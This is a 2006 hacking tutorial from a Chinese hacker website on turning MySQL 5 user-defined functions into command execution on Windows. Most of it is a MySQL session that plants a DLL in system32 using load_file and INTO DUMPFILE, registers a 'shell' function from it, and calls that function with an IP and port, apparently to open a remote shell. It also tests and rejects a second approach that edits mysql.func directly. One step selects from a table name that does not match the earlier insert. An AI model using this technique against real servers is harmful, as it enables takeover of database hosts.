| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 黑客技术 >> 黑客教学 >> 文章正文 用户登录 新用户注册
  udf’s hacking in mysql5         ★★★ 【字体:
udf’s hacking in mysql5
作者:superhei    文章来源:http://blog.sohu.com/members/b    点击数:    更新时间:2006-1-17    

udf's hacking in mysql5

[本文是基于win系统,unix系统没测试]

在mysql5里使用udf必须解决2个问题:
1、udf的格式要求更加严谨,按照以前的版本写的udf不可以使用。
2、udf文件必须放在系统目录下。

解决办法:
问题1:官方udf资料:
http://dev.mysql.com/doc/refman/5.0/en/adding-udf.html
udf例子:http://leithal.cool-tools.co.uk/sou...8cc-source.html
在云舒写的那个udfshell,是可以用在mysql5的http://www.icylife.net/yunshu/show.php?id=244

问题2:可以使用into dumpfile把dll文件放到system32目录下来突破:

mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)

mysql> insert into heige values(load_file('c:/udf.dll'));
Query OK, 1 row affected (0.08 sec)

mysql> select * from foo into dumpfile 'c:/winnt/system32/heige.dll';
Query OK, 1 row affected (0.18 sec)

mysql> create function shell returns integer soname 'heige.dll';
Query OK, 0 rows affected (0.07 sec)

mysql> select * from mysql.func;
+-------+-----+-----------+----------+
| name | ret | dl | type |
+-------+-----+-----------+----------+
| shell | 2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)

mysql> select shell('127.0.0.1','1234');
+---------------------------+
| shell('127.0.0.1','1234') |
+---------------------------+
| NULL |
+---------------------------+
1 row in set (0.97 sec)

成功突破了,当然你可以使用先把dll转为hex的方法[
http://www.ph4nt0m.org/bbs/showthre...&threadid=34013
只要把里面的hex替换,如果把dll导出的目录改为system32 当然里面的function函数名相应改]


有人提出使用INSERT INTO直接对mysql.func插入数据,修改dl里的dll的路径来突破。
我们测试下:

mysql> drop function shell; <--drop function
Query OK, 0 rows affected (0.00 sec)

C:\WINNT\system32>del heige.dll <--删除heige.dll

mysql> drop table func; <--drop表func
Query OK, 0 rows affected (0.00 sec)

mysql> CREATE TABLE `func` (
-> `name` char(64) collate utf8_bin NOT NULL default '',
-> `ret` tinyint(1) NOT NULL default '0',
-> `dl` char(128) collate utf8_bin NOT NULL default '',
-> `type` enum('function','aggregate') character set utf8 NOT NULL,
-> PRIMARY KEY (`name`)
-> ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT='User defin
ed functions';
Query OK, 0 rows affected (0.06 sec) <--创建表func

mysql> INSERT INTO `func` VALUES ('shell', 2, 'c:/udf.dll', 'function');
Query OK, 1 row affected (0.00 sec)

mysql> select * from func;
+-------+-----+------------+----------+
| name | ret | dl | type |
+-------+-----+------------+----------+
| shell | 2 | c:/udf.dll | function |
+-------+-----+------------+----------+
1 row in set (0.00 sec)

mysql> select shell('127.0.0.1','1234');
ERROR 1305 (42000): FUNCTION mysql.shell does not exist

然后我们把c:/udf.dll 放到system32目录下,你也会发现insert into的方法是行不通的.

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    PDF垃圾邮件七月激增
    acropdf - acropdf.dll - DL
    acpdf250 - acpdf250.dll - 
    PDF文件成最新垃圾邮件工具 
    wdfmrg.exe - wdfmrg - 进程
    学习在 MAC系统上给 PDF文件
    wuaudt.exe - wuaudt - 进程
    azz cardfile.exe - azz car
    3dfxcmn - 3dfxcmn.dll - DL
    microsoft.visualstudio.too
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.